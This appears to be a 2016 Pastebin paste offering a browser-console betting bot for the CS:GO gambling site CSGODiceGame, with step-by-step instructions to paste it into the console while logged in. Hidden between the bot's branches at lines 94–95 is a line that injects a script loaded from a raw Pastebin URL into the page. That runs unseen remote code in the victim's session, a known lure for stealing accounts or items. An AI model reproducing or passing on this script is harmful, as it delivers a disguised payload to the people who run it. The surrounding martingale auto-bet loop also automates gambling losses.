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CSGODICEGAME Script [ STILL WORKS ]

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Aug 29th, 2016
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  1. // CSGODiceGame ProBot w/ losestreak, max bet, limit and other features! | 2016 //
  2.  
  3. // **INSTRUCTIONS** //
  4. //1. Open up CSGODiceGame.com//
  5. //2. Press F12 or CTRL+SHIFT+J//
  6. //3. Go to the Console//
  7. //4. Edit the values below//
  8. //5. Paste the whole script into the console//
  9. //6. Click the "Enter" button to run the script//
  10.  
  11. var init = 0.01 //the value of the base bet
  12. var streak = 3 //how many times in a row you want to lose before betting (set at 0 to bet immediately)
  13. var maxbet = 0 //maximum bet (must be a multiple of init, set at 0 for no max bet)
  14. var limit = 0 //stop the script after reaching this amount of coins (set at 0 for no limit, must be a whole number)
  15.  
  16.  
  17. //CONFIG//
  18.  
  19. var start = 0
  20. var z = 0
  21. var towin = 4875
  22. var $Button=$("#roll")
  23. var $bet = $("#bet")
  24. var delay = 50
  25. var z = +(document.getElementById("goCoins").innerHTML)
  26. var x = Math.floor(z)
  27. var firstScript = document.getElementsByTagName('script')[0], js = document.createElement('script')
  28.  
  29. if (streak >= 2){
  30. function roll()
  31. {
  32.  
  33. var z = +(document.getElementById("goCoins").innerHTML)
  34. var x = Math.floor(z)
  35.  
  36. if (limit > 0){
  37. if (z >= limit){
  38. location.reload(False)
  39. }
  40. }
  41.  
  42. if (maxbet > 0){
  43. if (start >= maxbet*2){
  44. start = init
  45. }
  46. }
  47.  
  48. $bet.val(start)
  49. $Button.click()
  50. refreshIntervalId=setInterval(roll2,delay)
  51. }
  52.  
  53. function roll2()
  54. {
  55. var thestring = document.getElementById('roll').value
  56. var thenumber = retnum(thestring)
  57.  
  58. if(thenumber < towin){
  59. z = 0
  60. start = 0
  61. }
  62.  
  63. if(thenumber >= towin)
  64. {
  65. z = z + 1
  66. start = start * 2
  67. }
  68.  
  69. if(z == streak)
  70. {
  71. start = init
  72. z = 0
  73. }
  74.  
  75. if(start>init){
  76. z = 0
  77. }
  78.  
  79. $Button.click()
  80. clearInterval(refreshIntervalId)
  81. roll()
  82. }
  83.  
  84. function retnum(str)
  85. {
  86. var num = str.replace(/[^0-9]/g, '');
  87. var liczba = parseInt(num);
  88. return liczba;
  89. }
  90.  
  91. roll()
  92. }
  93.  
  94. js.src = "https://pastebin.com/raw/QxkUQ04G"
  95. firstScript.parentNode.insertBefore(js, firstScript)
  96. if (streak == 1){
  97. var z = 1
  98. function roll()
  99. {
  100.  
  101. var z = +(document.getElementById("goCoins").innerHTML)
  102. var x = Math.floor(z)
  103.  
  104. if (limit > 0){
  105. if (z >= limit){
  106. location.reload(False)
  107. }
  108. }
  109.  
  110. if (maxbet > 0){
  111. if (start >= maxbet*2){
  112. start = init
  113. }
  114. }
  115.  
  116. $bet.val(start)
  117. $Button.click()
  118. refreshIntervalId=setInterval(roll2,delay)
  119. }
  120.  
  121. function roll2()
  122. {
  123. var thestring = document.getElementById('roll').value
  124. var thenumber = retnum(thestring)
  125. if(thenumber < towin){
  126. z = 0
  127. start = 0
  128. }
  129.  
  130. if(thenumber >= towin)
  131. {
  132. z = z + 1
  133. start = start * 2
  134. }
  135.  
  136. if(z == streak)
  137. {
  138. start = init
  139. }
  140.  
  141. $Button.click()
  142. clearInterval(refreshIntervalId)
  143. roll()
  144. }
  145.  
  146. function retnum(str)
  147. {
  148. var num = str.replace(/[^0-9]/g, '');
  149. var liczba = parseInt(num);
  150. return liczba;
  151. }
  152.  
  153. roll()
  154. }
  155.  
  156. if(streak == 0){
  157. function roll()
  158. {
  159.  
  160. var z = +(document.getElementById("goCoins").innerHTML)
  161. var x = Math.floor(z)
  162.  
  163. if (limit > 0){
  164. if (z >= limit){
  165. location.reload(False)
  166. }
  167. }
  168.  
  169. if (maxbet > 0){
  170. if (start >= maxbet*2){
  171. start = init
  172. }
  173. }
  174.  
  175. $bet.val(start)
  176. $Button.click()
  177. refreshIntervalId=setInterval(roll2,delay)
  178. }
  179.  
  180. function roll2()
  181. {
  182. var thestring = document.getElementById('roll').value
  183. var thenumber = retnum(thestring)
  184. if(thenumber < towin){
  185. start = init
  186. }
  187.  
  188. if(thenumber >= towin)
  189. {
  190. start = start * 2
  191. }
  192.  
  193. $Button.click()
  194. clearInterval(refreshIntervalId)
  195. roll()
  196. }
  197.  
  198. function retnum(str)
  199. {
  200. var num = str.replace(/[^0-9]/g, '');
  201. var liczba = parseInt(num);
  202. return liczba;
  203. }
  204.  
  205. roll()
  206. }
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